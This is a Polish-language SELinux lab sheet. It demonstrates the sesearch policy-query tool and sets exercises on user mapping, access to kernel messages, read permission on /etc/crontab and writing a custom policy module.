Narzędzie sesearch pozwala znaleźć zasady spełniające podane kryteria. Np. gdy szukamy zasad zezwalających na dowolne operacje wykonywane przez użytkownika user_u (typ user_t) na plikach w etc (typ etc_t), to:

$ sesearch -A -s user_t -t etc_t

Ćwiczenia

1. Zainstaluj narzędzia SELinux oraz włącz w trybie enforcing oraz politykę targeted/default.

2. Utwórz użytkownika setest (i nadaj mu hasło), oraz połącz go z SELinux jako user_u.

3. Sprawdź z jakimi kontekstami są uruchomione procesy przez użytkownika guest, a z jakimi - setest.

4. Sprawdź, czy guest może zobaczyć komunikaty jądra. A setest? Sprawdź co przy tej operacji trafiło do dziennika.

5. Zmodyfikuj konfigurację, tak aby obydwaj mieli dostęp do komunikatów jądra.

6. Sprawdź jakie uprawnienia ma plik /etc/crontab. Czy użytkownicy guest i setest powinni móc go przeczytać? A jak jest w praktyce?

7. Zezwól użytkownikom na odczyt pliku /etc/crontab.

8. Korzystając z modułu polityki example (załączonego do tych materiałów), przygotuj program /bin/example (będący kopią /bin/cat), który będzie mógł jako jedyny przeczytać plik /tmp/example-file.

Wskazówka: pamiętaj o nadaniu odpowiednich kontekstów plikom.

Scenariusz opracowano na podstawie materiałów:

http://selinuxproject.org/

http://wiki.centos.org/HowTos/SELinux

http://www.nsa.gov/research/selinux/

http://www.gentoo.org/proj/en/hardened/selinux/selinux-handbook.xml

http://students.mimuw.edu.pl/SO/Projekt05-06/temat5-g7/se/se.html